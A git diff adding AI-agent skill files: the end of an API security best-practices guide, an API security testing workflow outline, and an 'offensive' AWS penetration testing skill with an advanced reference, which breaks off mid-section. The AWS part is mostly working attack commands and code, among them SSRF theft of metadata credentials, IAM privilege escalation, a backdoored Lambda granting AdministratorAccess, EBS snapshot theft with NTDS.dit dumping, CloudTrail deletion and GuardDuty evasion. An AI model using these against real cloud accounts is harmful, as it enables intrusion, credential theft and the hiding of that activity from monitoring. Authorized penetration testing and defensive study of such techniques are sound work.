General API rate limit +const apiLimiter = rateLimit({ + store: new RedisStore({ + client: redis, + prefix: 'rl:api:' + }), + windowMs: 15 * 60 * 1000, // 15 minutes + max: 100, // 100 requests per window + message: { + error: 'Too many requests, please try again later', + retryAfter: 900 // seconds + }, + standardHeaders: true, // Return rate limit info in headers + legacyHeaders: false, + // Custom key generator (by user ID or IP) + keyGenerator: (req) => { + return req.user?.userId || req.ip; + } +}); + +// Strict rate limit for authentication endpoints +const authLimiter = rateLimit({ + store: new RedisStore({ + client: redis, + prefix: 'rl:auth:' + }), + windowMs: 15 * 60 * 1000, // 15 minutes + max: 5, // Only 5 login attempts per 15 minutes + skipSuccessfulRequests: true, // Don't count successful logins + message: { + error: 'Too many login attempts, please try again later', + retryAfter: 900 + } +}); + +// Apply rate limiters +app.use('/api/', apiLimiter); +app.use('/api/auth/login', authLimiter); +app.use('/api/auth/register', authLimiter); + +// Custom rate limiter for expensive operations +const expensiveLimiter = rateLimit({ + windowMs: 60 * 60 * 1000, // 1 hour + max: 10, // 10 requests per hour + message: { + error: 'Rate limit exceeded for this operation' + } +}); + +app.post('/api/reports/generate', + authenticateToken, + expensiveLimiter, + async (req, res) => { + // Expensive operation + } +); +\`\`\` + +### Advanced: Per-User Rate Limiting + +\`\`\`javascript +// Different limits based on user tier +function createTieredRateLimiter() { + const limits = { + free: { windowMs: 60 * 60 * 1000, max: 100 }, + pro: { windowMs: 60 * 60 * 1000, max: 1000 }, + enterprise: { windowMs: 60 * 60 * 1000, max: 10000 } + }; + + return async (req, res, next) => { + const user = req.user; + const tier = user?.tier || 'free'; + const limit = limits[tier]; + + const key = \`rl:user:\${user.userId}\`; + const current = await redis.incr(key); + + if (current === 1) { + await redis.expire(key, limit.windowMs / 1000); + } + + if (current > limit.max) { + return res.status(429).json({ + error: 'Rate limit exceeded', + limit: limit.max, + remaining: 0, + reset: await redis.ttl(key) + }); + } + + // Set rate limit headers + res.set({ + 'X-RateLimit-Limit': limit.max, + 'X-RateLimit-Remaining': limit.max - current, + 'X-RateLimit-Reset': await redis.ttl(key) + }); + + next(); + }; +} + +app.use('/api/', authenticateToken, createTieredRateLimiter()); +\`\`\` + +### DDoS Protection with Helmet + +\`\`\`javascript +const helmet = require('helmet'); + +app.use(helmet({ + // Content Security Policy + contentSecurityPolicy: { + directives: { + defaultSrc: ["'self'"], + styleSrc: ["'self'", "'unsafe-inline'"], + scriptSrc: ["'self'"], + imgSrc: ["'self'", 'data:', 'https:'] + } + }, + // Prevent clickjacking + frameguard: { action: 'deny' }, + // Hide X-Powered-By header + hidePoweredBy: true, + // Prevent MIME type sniffing + noSniff: true, + // Enable HSTS + hsts: { + maxAge: 31536000, + includeSubDomains: true, + preload: true + } +})); +\`\`\` + +### Rate Limit Response Headers + +\`\`\` +X-RateLimit-Limit: 100 +X-RateLimit-Remaining: 87 +X-RateLimit-Reset: 1640000000 +Retry-After: 900 +\`\`\` +``` + +## Best Practices + +### ✅ Do This + +- **Use HTTPS Everywhere** - Never send sensitive data over HTTP +- **Implement Authentication** - Require authentication for protected endpoints +- **Validate All Inputs** - Never trust user input +- **Use Parameterized Queries** - Prevent SQL injection +- **Implement Rate Limiting** - Protect against brute force and DDoS +- **Hash Passwords** - Use bcrypt with salt rounds >= 10 +- **Use Short-Lived Tokens** - JWT access tokens should expire quickly +- **Implement CORS Properly** - Only allow trusted origins +- **Log Security Events** - Monitor for suspicious activity +- **Keep Dependencies Updated** - Regularly update packages +- **Use Security Headers** - Implement Helmet.js +- **Sanitize Error Messages** - Don't leak sensitive information + +### ❌ Don't Do This + +- **Don't Store Passwords in Plain Text** - Always hash passwords +- **Don't Use Weak Secrets** - Use strong, random JWT secrets +- **Don't Trust User Input** - Always validate and sanitize +- **Don't Expose Stack Traces** - Hide error details in production +- **Don't Use String Concatenation for SQL** - Use parameterized queries +- **Don't Store Sensitive Data in JWT** - JWTs are not encrypted +- **Don't Ignore Security Updates** - Update dependencies regularly +- **Don't Use Default Credentials** - Change all default passwords +- **Don't Disable CORS Completely** - Configure it properly instead +- **Don't Log Sensitive Data** - Sanitize logs + +## Common Pitfalls + +### Problem: JWT Secret Exposed in Code +**Symptoms:** JWT secret hardcoded or committed to Git +**Solution:** +\`\`\`javascript +// ❌ Bad +const JWT_SECRET = 'my-secret-key'; + +// ✅ Good +const JWT_SECRET = process.env.JWT_SECRET; +if (!JWT_SECRET) { + throw new Error('JWT_SECRET environment variable is required'); +} + +// Generate strong secret +// node -e "console.log(require('crypto').randomBytes(64).toString('hex'))" +\`\`\` + +### Problem: Weak Password Requirements +**Symptoms:** Users can set weak passwords like "password123" +**Solution:** +\`\`\`javascript +const passwordSchema = z.string() + .min(12, 'Password must be at least 12 characters') + .regex(/[A-Z]/, 'Must contain uppercase letter') + .regex(/[a-z]/, 'Must contain lowercase letter') + .regex(/[0-9]/, 'Must contain number') + .regex(/[^A-Za-z0-9]/, 'Must contain special character'); + +// Or use a password strength library +const zxcvbn = require('zxcvbn'); +const result = zxcvbn(password); +if (result.score < 3) { + return res.status(400).json({ + error: 'Password too weak', + suggestions: result.feedback.suggestions + }); +} +\`\`\` + +### Problem: Missing Authorization Checks +**Symptoms:** Users can access resources they shouldn't +**Solution:** +\`\`\`javascript +// ❌ Bad: Only checks authentication +app.delete('/api/posts/:id', authenticateToken, async (req, res) => { + await prisma.post.delete({ where: { id: req.params.id } }); + res.json({ success: true }); +}); + +// ✅ Good: Checks both authentication and authorization +app.delete('/api/posts/:id', authenticateToken, async (req, res) => { + const post = await prisma.post.findUnique({ + where: { id: req.params.id } + }); + + if (!post) { + return res.status(404).json({ error: 'Post not found' }); + } + + // Check if user owns the post or is admin + if (post.userId !== req.user.userId && req.user.role !== 'admin') { + return res.status(403).json({ + error: 'Not authorized to delete this post' + }); + } + + await prisma.post.delete({ where: { id: req.params.id } }); + res.json({ success: true }); +}); +\`\`\` + +### Problem: Verbose Error Messages +**Symptoms:** Error messages reveal system details +**Solution:** +\`\`\`javascript +// ❌ Bad: Exposes database details +app.post('/api/users', async (req, res) => { + try { + const user = await prisma.user.create({ data: req.body }); + res.json(user); + } catch (error) { + res.status(500).json({ error: error.message }); + // Error: "Unique constraint failed on the fields: (`email`)" + } +}); + +// ✅ Good: Generic error message +app.post('/api/users', async (req, res) => { + try { + const user = await prisma.user.create({ data: req.body }); + res.json(user); + } catch (error) { + console.error('User creation error:', error); // Log full error + + if (error.code === 'P2002') { + return res.status(400).json({ + error: 'Email already exists' + }); + } + + res.status(500).json({ + error: 'An error occurred while creating user' + }); + } +}); +\`\`\` + +## Security Checklist + +### Authentication & Authorization +- [ ] Implement strong authentication (JWT, OAuth 2.0) +- [ ] Use HTTPS for all endpoints +- [ ] Hash passwords with bcrypt (salt rounds >= 10) +- [ ] Implement token expiration +- [ ] Add refresh token mechanism +- [ ] Verify user authorization for each request +- [ ] Implement role-based access control (RBAC) + +### Input Validation +- [ ] Validate all user inputs +- [ ] Use parameterized queries or ORM +- [ ] Sanitize HTML content +- [ ] Validate file uploads +- [ ] Implement request schema validation +- [ ] Use allowlists, not blocklists + +### Rate Limiting & DDoS Protection +- [ ] Implement rate limiting per user/IP +- [ ] Add stricter limits for auth endpoints +- [ ] Use Redis for distributed rate limiting +- [ ] Return proper rate limit headers +- [ ] Implement request throttling + +### Data Protection +- [ ] Use HTTPS/TLS for all traffic +- [ ] Encrypt sensitive data at rest +- [ ] Don't store sensitive data in JWT +- [ ] Sanitize error messages +- [ ] Implement proper CORS configuration +- [ ] Use security headers (Helmet.js) + +### Monitoring & Logging +- [ ] Log security events +- [ ] Monitor for suspicious activity +- [ ] Set up alerts for failed auth attempts +- [ ] Track API usage patterns +- [ ] Don't log sensitive data + +## OWASP API Security Top 10 + +1. **Broken Object Level Authorization** - Always verify user can access resource +2. **Broken Authentication** - Implement strong authentication mechanisms +3. **Broken Object Property Level Authorization** - Validate which properties user can access +4. **Unrestricted Resource Consumption** - Implement rate limiting and quotas +5. **Broken Function Level Authorization** - Verify user role for each function +6. **Unrestricted Access to Sensitive Business Flows** - Protect critical workflows +7. **Server Side Request Forgery (SSRF)** - Validate and sanitize URLs +8. **Security Misconfiguration** - Use security best practices and headers +9. **Improper Inventory Management** - Document and secure all API endpoints +10. **Unsafe Consumption of APIs** - Validate data from third-party APIs + +## Related Skills + +- `@ethical-hacking-methodology` - Security testing perspective +- `@sql-injection-testing` - Testing for SQL injection +- `@xss-html-injection` - Testing for XSS vulnerabilities +- `@broken-authentication` - Authentication vulnerabilities +- `@backend-dev-guidelines` - Backend development standards +- `@systematic-debugging` - Debug security issues + +## Additional Resources + +- [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) +- [JWT Best Practices](https://tools.ietf.org/html/rfc8725) +- [Express Security Best Practices](https://expressjs.com/en/advanced/best-practice-security.html) +- [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/) +- [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist) + +--- + +**Pro Tip:** Security is not a one-time task - regularly audit your APIs, keep dependencies updated, and stay informed about new vulnerabilities! + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/api-security-testing/SKILL.md b/skills/api-security-testing/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..0025fa29925f7f914c6e1fd71effa5a040e5e2ed --- /dev/null +++ b/skills/api-security-testing/SKILL.md @@ -0,0 +1,176 @@ +--- +name: api-security-testing +description: "API security testing workflow for REST and GraphQL APIs covering authentication, authorization, rate limiting, input validation, and security best practices." +category: granular-workflow-bundle +risk: safe +source: personal +date_added: "2026-02-27" +--- + +# API Security Testing Workflow + +## Overview + +Specialized workflow for testing REST and GraphQL API security including authentication, authorization, rate limiting, input validation, and API-specific vulnerabilities. + +## When to Use This Workflow + +Use this workflow when: +- Testing REST API security +- Assessing GraphQL endpoints +- Validating API authentication +- Testing API rate limiting +- Bug bounty API testing + +## Workflow Phases + +### Phase 1: API Discovery + +#### Skills to Invoke +- `api-fuzzing-bug-bounty` - API fuzzing +- `scanning-tools` - API scanning + +#### Actions +1. Enumerate endpoints +2. Document API methods +3. Identify parameters +4. Map data flows +5. Review documentation + +#### Copy-Paste Prompts +``` +Use @api-fuzzing-bug-bounty to discover API endpoints +``` + +### Phase 2: Authentication Testing + +#### Skills to Invoke +- `broken-authentication` - Auth testing +- `api-security-best-practices` - API auth + +#### Actions +1. Test API key validation +2. Test JWT tokens +3. Test OAuth2 flows +4. Test token expiration +5. Test refresh tokens + +#### Copy-Paste Prompts +``` +Use @broken-authentication to test API authentication +``` + +### Phase 3: Authorization Testing + +#### Skills to Invoke +- `idor-testing` - IDOR testing + +#### Actions +1. Test object-level authorization +2. Test function-level authorization +3. Test role-based access +4. Test privilege escalation +5. Test multi-tenant isolation + +#### Copy-Paste Prompts +``` +Use @idor-testing to test API authorization +``` + +### Phase 4: Input Validation + +#### Skills to Invoke +- `api-fuzzing-bug-bounty` - API fuzzing +- `sql-injection-testing` - Injection testing + +#### Actions +1. Test parameter validation +2. Test SQL injection +3. Test NoSQL injection +4. Test command injection +5. Test XXE injection + +#### Copy-Paste Prompts +``` +Use @api-fuzzing-bug-bounty to fuzz API parameters +``` + +### Phase 5: Rate Limiting + +#### Skills to Invoke +- `api-security-best-practices` - Rate limiting + +#### Actions +1. Test rate limit headers +2. Test brute force protection +3. Test resource exhaustion +4. Test bypass techniques +5. Document limitations + +#### Copy-Paste Prompts +``` +Use @api-security-best-practices to test rate limiting +``` + +### Phase 6: GraphQL Testing + +#### Skills to Invoke +- `api-fuzzing-bug-bounty` - GraphQL fuzzing + +#### Actions +1. Test introspection +2. Test query depth +3. Test query complexity +4. Test batch queries +5. Test field suggestions + +#### Copy-Paste Prompts +``` +Use @api-fuzzing-bug-bounty to test GraphQL security +``` + +### Phase 7: Error Handling + +#### Skills to Invoke +- `api-security-best-practices` - Error handling + +#### Actions +1. Test error messages +2. Check information disclosure +3. Test stack traces +4. Verify logging +5. Document findings + +#### Copy-Paste Prompts +``` +Use @api-security-best-practices to audit API error handling +``` + +## API Security Checklist + +- [ ] Authentication working +- [ ] Authorization enforced +- [ ] Input validated +- [ ] Rate limiting active +- [ ] Errors sanitized +- [ ] Logging enabled +- [ ] CORS configured +- [ ] HTTPS enforced + +## Quality Gates + +- [ ] All endpoints tested +- [ ] Vulnerabilities documented +- [ ] Remediation provided +- [ ] Report generated + +## Related Workflow Bundles + +- `security-audit` - Security auditing +- `web-security-testing` - Web security +- `api-development` - API development + +## Limitations +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. diff --git a/skills/aws-penetration-testing/SKILL.md b/skills/aws-penetration-testing/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..78fb06f0d7d51af4124e2777b06ad74f280977ef --- /dev/null +++ b/skills/aws-penetration-testing/SKILL.md @@ -0,0 +1,411 @@ +--- +name: aws-penetration-testing +description: "Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations." +risk: offensive +source: community +author: zebbern +date_added: "2026-02-27" +--- + +> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. + +# AWS Penetration Testing + +## Purpose + +Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations. + +## Inputs/Prerequisites + +- AWS CLI configured with credentials +- Valid AWS credentials (even low-privilege) +- Understanding of AWS IAM model +- Python 3, boto3 library +- Tools: Pacu, Prowler, ScoutSuite, SkyArk + +## Outputs/Deliverables + +- IAM privilege escalation paths +- Extracted credentials and secrets +- Compromised EC2/Lambda/S3 resources +- Persistence mechanisms +- Security audit findings + +--- + +## Essential Tools + +| Tool | Purpose | Installation | +|------|---------|--------------| +| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | +| SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` | +| Prowler | Security auditing | `pip install prowler` | +| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | +| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | +| Principal Mapper | IAM analysis | `pip install principalmapper` | + +--- + +## Core Workflow + +### Step 1: Initial Enumeration + +Identify the compromised identity and permissions: + +```bash +# Check current identity +aws sts get-caller-identity + +# Configure profile +aws configure --profile compromised + +# List access keys +aws iam list-access-keys + +# Enumerate permissions +./enumerate-iam.py --access-key AKIA... --secret-key StF0q... +``` + +### Step 2: IAM Enumeration + +```bash +# List all users +aws iam list-users + +# List groups for user +aws iam list-groups-for-user --user-name TARGET_USER + +# List attached policies +aws iam list-attached-user-policies --user-name TARGET_USER + +# List inline policies +aws iam list-user-policies --user-name TARGET_USER + +# Get policy details +aws iam get-policy --policy-arn POLICY_ARN +aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1 + +# List roles +aws iam list-roles +aws iam list-attached-role-policies --role-name ROLE_NAME +``` + +### Step 3: Metadata SSRF (EC2) + +Exploit SSRF to access metadata endpoint (IMDSv1): + +```bash +# Access metadata endpoint +http://169.254.169.254/latest/meta-data/ + +# Get IAM role name +http://169.254.169.254/latest/meta-data/iam/security-credentials/ + +# Extract temporary credentials +http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME + +# Response contains: +{ + "AccessKeyId": "ASIA...", + "SecretAccessKey": "...", + "Token": "...", + "Expiration": "2019-08-01T05:20:30Z" +} +``` + +**For IMDSv2 (token required):** + +```bash +# Get token first +TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ + "http://169.254.169.254/latest/api/token") + +# Use token for requests +curl -H "X-aws-ec2-metadata-token:$TOKEN" \ + "http://169.254.169.254/latest/meta-data/iam/security-credentials/" +``` + +**Fargate Container Credentials:** + +```bash +# Read environment for credential path +/proc/self/environ +# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/... + +# Access credentials +http://169.254.170.2/v2/credentials/CREDENTIAL-PATH +``` + +--- + +## Privilege Escalation Techniques + +### Shadow Admin Permissions + +These permissions are equivalent to administrator: + +| Permission | Exploitation | +|------------|--------------| +| `iam:CreateAccessKey` | Create keys for admin user | +| `iam:CreateLoginProfile` | Set password for any user | +| `iam:AttachUserPolicy` | Attach admin policy to self | +| `iam:PutUserPolicy` | Add inline admin policy | +| `iam:AddUserToGroup` | Add self to admin group | +| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role | +| `lambda:UpdateFunctionCode` | Inject code into Lambda | + +### Create Access Key for Another User + +```bash +aws iam create-access-key --user-name target_user +``` + +### Attach Admin Policy + +```bash +aws iam attach-user-policy --user-name my_username \ + --policy-arn arn:aws:iam::aws:policy/AdministratorAccess +``` + +### Add Inline Admin Policy + +```bash +aws iam put-user-policy --user-name my_username \ + --policy-name admin_policy \ + --policy-document file://admin-policy.json +``` + +### Lambda Privilege Escalation + +```python +# code.py - Inject into Lambda function +import boto3 + +def lambda_handler(event, context): + client = boto3.client('iam') + response = client.attach_user_policy( + UserName='my_username', + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" + ) + return response +``` + +```bash +# Update Lambda code +aws lambda update-function-code --function-name target_function \ + --zip-file fileb://malicious.zip +``` + +--- + +## S3 Bucket Exploitation + +### Bucket Discovery + +```bash +# Using bucket_finder +./bucket_finder.rb wordlist.txt +./bucket_finder.rb --download --region us-east-1 wordlist.txt + +# Common bucket URL patterns +https://{bucket-name}.s3.amazonaws.com +https://s3.amazonaws.com/{bucket-name} +``` + +### Bucket Enumeration + +```bash +# List buckets (with creds) +aws s3 ls + +# List bucket contents +aws s3 ls s3://bucket-name --recursive + +# Download all files +aws s3 sync s3://bucket-name ./local-folder +``` + +### Public Bucket Search + +``` +https://buckets.grayhatwarfare.com/ +``` + +--- + +## Lambda Exploitation + +```bash +# List Lambda functions +aws lambda list-functions + +# Get function code +aws lambda get-function --function-name FUNCTION_NAME +# Download URL provided in response + +# Invoke function +aws lambda invoke --function-name FUNCTION_NAME output.txt +``` + +--- + +## SSM Command Execution + +Systems Manager allows command execution on EC2 instances: + +```bash +# List managed instances +aws ssm describe-instance-information + +# Execute command +aws ssm send-command --instance-ids "i-0123456789" \ + --document-name "AWS-RunShellScript" \ + --parameters commands="whoami" + +# Get command output +aws ssm list-command-invocations --command-id "CMD-ID" \ + --details --query "CommandInvocations[].CommandPlugins[].Output" +``` + +--- + +## EC2 Exploitation + +### Mount EBS Volume + +```bash +# Create snapshot of target volume +aws ec2 create-snapshot --volume-id vol-xxx --description "Audit" + +# Create volume from snapshot +aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a + +# Attach to attacker instance +aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf + +# Mount and access +sudo mkdir /mnt/stolen +sudo mount /dev/xvdf1 /mnt/stolen +``` + +### Shadow Copy Attack (Windows DC) + +```bash +# CloudCopy technique +# 1. Create snapshot of DC volume +# 2. Share snapshot with attacker account +# 3. Mount in attacker instance +# 4. Extract NTDS.dit and SYSTEM +secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local +``` + +--- + +## Console Access from API Keys + +Convert CLI credentials to console access: + +```bash +git clone https://github.com/NetSPI/aws_consoler +aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY + +# Generates signin URL for console access +``` + +--- + +## Covering Tracks + +### Disable CloudTrail + +```bash +# Delete trail +aws cloudtrail delete-trail --name trail_name + +# Disable global events +aws cloudtrail update-trail --name trail_name \ + --no-include-global-service-events + +# Disable specific region +aws cloudtrail update-trail --name trail_name \ + --no-include-global-service-events --no-is-multi-region-trail +``` + +**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent. + +--- + +## Quick Reference + +| Task | Command | +|------|---------| +| Get identity | `aws sts get-caller-identity` | +| List users | `aws iam list-users` | +| List roles | `aws iam list-roles` | +| List buckets | `aws s3 ls` | +| List EC2 | `aws ec2 describe-instances` | +| List Lambda | `aws lambda list-functions` | +| Get metadata | `curl http://169.254.169.254/latest/meta-data/` | + +--- + +## Constraints + +**Must:** +- Obtain written authorization before testing +- Document all actions for audit trail +- Test in scope resources only + +**Must Not:** +- Modify production data without approval +- Leave persistent backdoors without documentation +- Disable security controls permanently + +**Should:** +- Check for IMDSv2 before attempting metadata attacks +- Enumerate thoroughly before exploitation +- Clean up test resources after engagement + +--- + +## Examples + +### Example 1: SSRF to Admin + +```bash +# 1. Find SSRF vulnerability in web app +https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ + +# 2. Get role name from response +# 3. Extract credentials +https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole + +# 4. Configure AWS CLI with stolen creds +export AWS_ACCESS_KEY_ID=ASIA... +export AWS_SECRET_ACCESS_KEY=... +export AWS_SESSION_TOKEN=... + +# 5. Verify access +aws sts get-caller-identity +``` + +--- + +## Troubleshooting + +| Issue | Solution | +|-------|----------| +| Access Denied on all commands | Enumerate permissions with enumerate-iam | +| Metadata endpoint blocked | Check for IMDSv2, try container metadata | +| GuardDuty alerts | Use Pacu with custom user-agent | +| Expired credentials | Re-fetch from metadata (temp creds rotate) | +| CloudTrail logging actions | Consider disable or log obfuscation | + +--- + +## Additional Resources + +For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md). + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/aws-penetration-testing/references/advanced-aws-pentesting.md b/skills/aws-penetration-testing/references/advanced-aws-pentesting.md new file mode 100644 index 0000000000000000000000000000000000000000..d7e9ba7d839ad7ebd4e0b8846ede3c4a81eee3ec --- /dev/null +++ b/skills/aws-penetration-testing/references/advanced-aws-pentesting.md @@ -0,0 +1,469 @@ +# Advanced AWS Penetration Testing Reference + +## Table of Contents +- [Training Resources](#training-resources) +- [Extended Tools Arsenal](#extended-tools-arsenal) +- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials) +- [Lambda & API Gateway](#lambda--api-gateway) +- [Secrets Manager & KMS](#secrets-manager--kms) +- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr) +- [RDS Database Exploitation](#rds-database-exploitation) +- [DynamoDB Exploitation](#dynamodb-exploitation) +- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement) +- [Security Checklist](#security-checklist) + +--- + +## Training Resources + +| Resource | Description | URL | +|----------|-------------|-----| +| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat | +| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat | +| Flaws | AWS security challenge | flaws.cloud | +| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud | +| DVCA | Vulnerable Cloud App | medium.com/poka-techblog | + +--- + +## Extended Tools Arsenal + +### weirdAAL - AWS Attack Library +```bash +python3 weirdAAL.py -m ec2_describe_instances -t demo +python3 weirdAAL.py -m lambda_get_account_settings -t demo +python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' +``` + +### cloudmapper - AWS Environment Analyzer +```bash +git clone https://github.com/duo-labs/cloudmapper.git +pipenv install --skip-lock +pipenv shell + +# Commands +report # Generate HTML report +iam_report # IAM-specific report +audit # Check misconfigurations +collect # Collect account metadata +find_admins # Identify admin users/roles +``` + +### cloudsplaining - IAM Security Assessment +```bash +pip3 install --user cloudsplaining +cloudsplaining download --profile myawsprofile +cloudsplaining scan --input-file default.json +``` + +### s3_objects_check - S3 Object Permissions +```bash +git clone https://github.com/nccgroup/s3_objects_check +python s3-objects-check.py -p whitebox-profile -e blackbox-profile +``` + +### dufflebag - Find EBS Secrets +```bash +# Finds secrets exposed via Amazon EBS's "public" mode +git clone https://github.com/BishopFox/dufflebag +``` + +--- + +## AWS API Calls That Return Credentials + +| API Call | Description | +|----------|-------------| +| `chime:createapikey` | Create API key | +| `codepipeline:pollforjobs` | Poll for jobs | +| `cognito-identity:getopenidtoken` | Get OpenID token | +| `cognito-identity:getcredentialsforidentity` | Get identity credentials | +| `connect:getfederationtoken` | Get federation token | +| `ecr:getauthorizationtoken` | ECR auth token | +| `gamelift:requestuploadcredentials` | GameLift upload creds | +| `iam:createaccesskey` | Create access key | +| `iam:createloginprofile` | Create login profile | +| `iam:createservicespecificcredential` | Service-specific creds | +| `lightsail:getinstanceaccessdetails` | Instance access details | +| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password | +| `rds-db:connect` | RDS connect | +| `redshift:getclustercredentials` | Redshift credentials | +| `sso:getrolecredentials` | SSO role credentials | +| `sts:assumerole` | Assume role | +| `sts:assumerolewithsaml` | Assume role with SAML | +| `sts:assumerolewithwebidentity` | Web identity assume | +| `sts:getfederationtoken` | Federation token | +| `sts:getsessiontoken` | Session token | + +--- + +## Lambda & API Gateway + +### Lambda Enumeration + +```bash +# List all lambda functions +aws lambda list-functions + +# Get function details and download code +aws lambda get-function --function-name FUNCTION_NAME +wget -O lambda-function.zip "url-from-previous-query" + +# Get function policy +aws lambda get-policy --function-name FUNCTION_NAME + +# List event source mappings +aws lambda list-event-source-mappings --function-name FUNCTION_NAME + +# List Lambda layers (dependencies) +aws lambda list-layers +aws lambda get-layer-version --layer-name NAME --version-number VERSION +``` + +### API Gateway Enumeration + +```bash +# List REST APIs +aws apigateway get-rest-apis + +# Get specific API info +aws apigateway get-rest-api --rest-api-id ID + +# List endpoints (resources) +aws apigateway get-resources --rest-api-id ID + +# Get method info +aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET + +# List API versions (stages) +aws apigateway get-stages --rest-api-id ID + +# List API keys +aws apigateway get-api-keys --include-values +``` + +### Lambda Credential Access + +```bash +# Via RCE - get environment variables +https://apigateway/prod/system?cmd=env + +# Via SSRF - access runtime API +https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/ + +# Via file read +https://apigateway/prod/system?cmd=file:///proc/self/environ +``` + +### Lambda Backdooring + +```python +# Malicious Lambda code to escalate privileges +import boto3 +import json + +def handler(event, context): + iam = boto3.client("iam") + iam.attach_role_policy( + RoleName="role_name", + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" + ) + iam.attach_user_policy( + UserName="user_name", + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" + ) + return {'statusCode': 200, 'body': json.dumps("Pwned")} +``` + +```bash +# Update function with backdoor +aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip + +# Invoke backdoored function +curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT +``` + +--- + +## Secrets Manager & KMS + +### Secrets Manager Enumeration + +```bash +# List all secrets +aws secretsmanager list-secrets + +# Describe specific secret +aws secretsmanager describe-secret --secret-id NAME + +# Get resource policy +aws secretsmanager get-resource-policy --secret-id ID + +# Retrieve secret value +aws secretsmanager get-secret-value --secret-id ID +``` + +### KMS Enumeration + +```bash +# List KMS keys +aws kms list-keys + +# Describe key +aws kms describe-key --key-id ID + +# List key policies +aws kms list-key-policies --key-id ID + +# Get full policy +aws kms get-key-policy --policy-name NAME --key-id ID +``` + +### KMS Decryption + +```bash +# Decrypt file (key info embedded in ciphertext) +aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext +``` + +--- + +## Container Security (ECS/EKS/ECR) + +### ECR Enumeration + +```bash +# List repositories +aws ecr describe-repositories + +# Get repository policy +aws ecr get-repository-policy --repository-name NAME + +# List images +aws ecr list-images --repository-name NAME + +# Describe image +aws ecr describe-images --repository-name NAME --image-ids imageTag=TAG +``` + +### ECS Enumeration + +```bash +# List clusters +aws ecs list-clusters + +# Describe cluster +aws ecs describe-clusters --cluster NAME + +# List services +aws ecs list-services --cluster NAME + +# Describe service +aws ecs describe-services --cluster NAME --services SERVICE + +# List tasks +aws ecs list-tasks --cluster NAME + +# Describe task (shows network info for pivoting) +aws ecs describe-tasks --cluster NAME --tasks TASK_ARN + +# List container instances +aws ecs list-container-instances --cluster NAME +``` + +### EKS Enumeration + +```bash +# List EKS clusters +aws eks list-clusters + +# Describe cluster +aws eks describe-cluster --name NAME + +# List node groups +aws eks list-nodegroups --cluster-name NAME + +# Describe node group +aws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME + +# List Fargate profiles +aws eks list-fargate-profiles --cluster-name NAME +``` + +### Container Backdooring + +```bash +# Authenticate Docker to ECR +aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR + +# Build backdoored image +docker build -t image_name . + +# Tag for ECR +docker tag image_name ECR_ADDR:IMAGE_NAME + +# Push to ECR +docker push ECR_ADDR:IMAGE_NAME +``` + +### EKS Secrets via RCE + +```bash +# List Kubernetes secrets +https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount + +# Get service account token +https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token +``` + +--- + +## RDS Database Exploitation + +### RDS Enumeration + +```bash +# List RDS clusters +aws rds describe-db-clusters + +# List RDS instances +aws rds describe-db-instances +# Check: IAMDatabaseAuthenticationEnabled: false = password auth + +# List subnet groups +aws rds describe-db-subnet-groups + +# 